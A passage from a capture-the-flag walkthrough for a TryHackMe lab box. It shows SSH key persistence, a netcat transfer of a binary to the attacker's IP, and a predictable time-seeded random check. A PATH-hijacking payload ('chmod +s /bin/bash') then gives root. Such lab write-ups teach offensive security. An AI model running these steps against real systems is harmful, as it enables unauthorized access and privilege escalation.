It’s empty. Nevermind, we can add our own public SSH key!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# mkdir .ssh;cd .ssh

┌──(root🌸siunam)-[~/…/thm/ctf/Madeye's_Castle/.ssh]
└─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/ctf/thm/ctf/Madeye's_Castle/.ssh/hermonine
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/ctf/thm/ctf/Madeye's_Castle/.ssh/hermonine
Your public key has been saved in /root/ctf/thm/ctf/Madeye's_Castle/.ssh/hermonine.pub
[...]

┌──(root🌸siunam)-[~/…/thm/ctf/Madeye's_Castle/.ssh]
└─# cat hermonine.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz54thCvEMQgAlOEQqthXYdVBF90AVeJ4je3DW0vTO9n5MubiFgRpjAEAYBPByui4De1YE017WbHliklvI53N4XfQ0KfvKXS8r1bXtfTU394zY2qUl9f6OIK79HFRVH9KXS9Q7Auw60s56NeuJ/UC3S4TJA/a3D/YOmPTKBJEP/J1sIvbHkJGpvTbY56RGwC7g6dBFshv8irjXMkBSHlSVTfKv7l6JWNaGAaFaD2ZiO6f3tGkiA+e4gB4xbHZz9Cypj/0SPo/wmyBEtIe2/VMoHRTUICQ7BON1ul81nyD+LLlRkilkRoA2ti/So6w63g6gkN5upAhORKQ4b5uBzJsRFylGTlpNh4D5jSalIqrb5fbNm1AeOOQIpJkijREpsK2bs2ThP8ZtPT0vsCkRasJq5z/dUNGnok3ib24spmuCF5feclPfVVS/mfbPWku+fb8Z6O/jcPkokBsRBT8863cawB6m6uFPTGYwmcSA45kniY8biCBi/YXSM3s4aI9eJyc= root@siunam
hermonine@hogwartz-castle:/home/hermonine$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz54thCvEMQgAlOEQqthXYdVBF90AVeJ4je3DW0vTO9n5MubiFgRpjAEAYBPByui4De1YE017WbHliklvI53N4XfQ0KfvKXS8r1bXtfTU394zY2qUl9f6OIK79HFRVH9KXS9Q7Auw60s56NeuJ/UC3S4TJA/a3D/YOmPTKBJEP/J1sIvbHkJGpvTbY56RGwC7g6dBFshv8irjXMkBSHlSVTfKv7l6JWNaGAaFaD2ZiO6f3tGkiA+e4gB4xbHZz9Cypj/0SPo/wmyBEtIe2/VMoHRTUICQ7BON1ul81nyD+LLlRkilkRoA2ti/So6w63g6gkN5upAhORKQ4b5uBzJsRFylGTlpNh4D5jSalIqrb5fbNm1AeOOQIpJkijREpsK2bs2ThP8ZtPT0vsCkRasJq5z/dUNGnok3ib24spmuCF5feclPfVVS/mfbPWku+fb8Z6O/jcPkokBsRBT8863cawB6m6uFPTGYwmcSA45kniY8biCBi/YXSM3s4aI9eJyc= root@siunam" > /home/hermonine/.ssh/authorized_keys

Now we can SSH into user hermonine!

┌──(root🌸siunam)-[~/…/thm/ctf/Madeye's_Castle/.ssh]
└─# ssh -i hermonine hermonine@$RHOSTS
 _      __    __                     __         __ __                          __
 | | /| / /__ / /______  __ _  ___   / /____    / // /__  ___ __    _____ _____/ /____
 | |/ |/ / -_) / __/ _ \/  ' \/ -_) / __/ _ \  / _  / _ \/ _ `/ |/|/ / _ `/ __/ __/_ /
 |__/|__/\__/_/\__/\___/_/_/_/\__/  \__/\___/ /_//_/\___/\_, /|__,__/\_,_/_/  \__//__/
                                                        /___/

Last login: Thu Nov 26 01:29:01 2020 from 192.168.56.1
hermonine@hogwartz-castle:~$ whoami;hostname;id;ip a
hermonine
hogwartz-castle
uid=1002(hermonine) gid=1002(hermonine) groups=1002(hermonine)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:1e:89:ee:21:37 brd ff:ff:ff:ff:ff:ff
    inet 10.10.108.236/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 3307sec preferred_lft 3307sec
    inet6 fe80::1e:89ff:feee:2137/64 scope link 
       valid_lft forever preferred_lft forever

user2.txt:

hermonine@hogwartz-castle:~$ cat user2.txt
RME{Redacted}

hermonine to root

Now, let’s take a step back. We’ve found a weird SUID binary: /srv/time-turner/swagger.

Let’s use strings to list all the strings inside it!

hermonine@hogwartz-castle:~$ strings /srv/time-turner/swagger
[...]
time
[...]
Nice use of the time-turner!
This system architecture is 
uname -p
Guess my number: 
Nope, that is not what I was thinking
I was thinking of %d
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
swagger.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
impressive
[...]

Take a note at the uname -p, which is using relative path.

How about we run that binary?

hermonine@hogwartz-castle:~$ /srv/time-turner/swagger
Guess my number: 1337
Nope, that is not what I was thinking
I was thinking of 244141216

Hmm… Let’s transfer that binary to do some reverse engineering:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# nc -lnvp 1337 > swagger
listening on [any] 1337 ...
hermonine@hogwartz-castle:/srv/time-turner$ nc -n 10.9.0.253 1337 < swagger

To do so, I’ll use Ghidra:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# ghidra

Let’s check the main() function:

undefined8 main(void)

{
  time_t tVar1;
  long in_FS_OFFSET;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  local_14 = rand();
  printf("Guess my number: ");
  __isoc99_scanf(&DAT_00100b8d,&local_18);
  if (local_14 == local_18) {
    impressive();
  }
  else {
    puts("Nope, that is not what I was thinking");
    printf("I was thinking of %d\n",(ulong)local_14);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

As we can see, the local_14 variable is using a random number (rand()).

If local_14 equals to local_18, it calls function impressive():

void impressive(void)

{
  setregid(0,0);
  setreuid(0,0);
  puts("Nice use of the time-turner!");
  printf("This system architecture is ");
  fflush(stdout);
  system("uname -p");
  return;
}

Which is executing uname -p as root!

But how do we pass the check?

After some googleing, I found that it might vulnerable to timing attack!

Let’s try to run that binary at the very same time:

hermonine@hogwartz-castle:/srv/time-turner$ for number in {1..5};do echo $number | /srv/time-turner/swagger; done
Guess my number: Nope, that is not what I was thinking
I was thinking of 1472811415
Guess my number: Nope, that is not what I was thinking
I was thinking of 1472811415
Guess my number: Nope, that is not what I was thinking
I was thinking of 1472811415
Guess my number: Nope, that is not what I was thinking
I was thinking of 1472811415
Guess my number: Nope, that is not what I was thinking
I was thinking of 1472811415

It’s not random!

Now, what if I run that binary once to leak the correct number, and then I use that number to pass the check??

hermonine@hogwartz-castle:/srv/time-turner$ echo "number pls" | /srv/time-turner/swagger | grep -oE "[0-9]+" | /srv/time-turner/swagger
Guess my number: Nice use of the time-turner!
This system architecture is x86_64

We did it!

What we’re doing is leaking the correct number, and then using regular expression to only grab those numbers, finally pipe it to /srv/time-turner/swagger again!

Now, let’s take a step back.

We’ve found that after passing the check, it’ll execute uname -p, which is exploitable!!

To exploit relative path, I’ll:

hermonine@hogwartz-castle:/srv/time-turner$ cd /tmp
hermonine@hogwartz-castle:/tmp$ export PATH=/tmp:$PATH
hermonine@hogwartz-castle:/tmp$ echo "chmod +s /bin/bash" > uname
hermonine@hogwartz-castle:/tmp$ chmod +x uname
hermonine@hogwartz-castle:/tmp$ echo "number pls" | /srv/time-turner/swagger | grep -oE "[0-9]+" | /srv/time-turner/swagger
Guess my number: Nice use of the time-turner!
This system architecture is x86_64
hermonine@hogwartz-castle:/tmp$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.1M Jun  6  2019 /bin/bash

Nice!!! We now can becoming root via /bin/bash -p to use the SUID privilege in bash!

hermonine@hogwartz-castle:/tmp$ /bin/bash -p
bash-4.4# whoami;hostname;id;ip a
root
hogwartz-castle
uid=1002(hermonine) gid=1002(hermonine) euid=0(root) egid=0(root) groups=0(root),1002(hermonine)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:1e:89:ee:21:37 brd ff:ff:ff:ff:ff:ff
    inet 10.10.108.236/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 2201sec preferred_lft 2201sec
    inet6 fe80::1e:89ff:feee:2137/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

Rooted

root.txt:

bash-4.4# cat /root/root.txt 
RME{Redacted}

Conclusion

What we’ve learned:

  1. Enumerating SMB Shares
  2. Enumerating VHost(Virtual Hosting)
  3. Enumerating Hidden Directories & Files
  4. Authenication Bypass Via SQL Injection
  5. Exploiting & Extracting Sensitive Data via Error-Based SQL injection
  6. Cracking Password Hash
  7. Horizontal Privilege Escalation via Misconfigured Sudo Permission
  8. Vertical Privilege Escalation via Timing Attack in a SUID Binary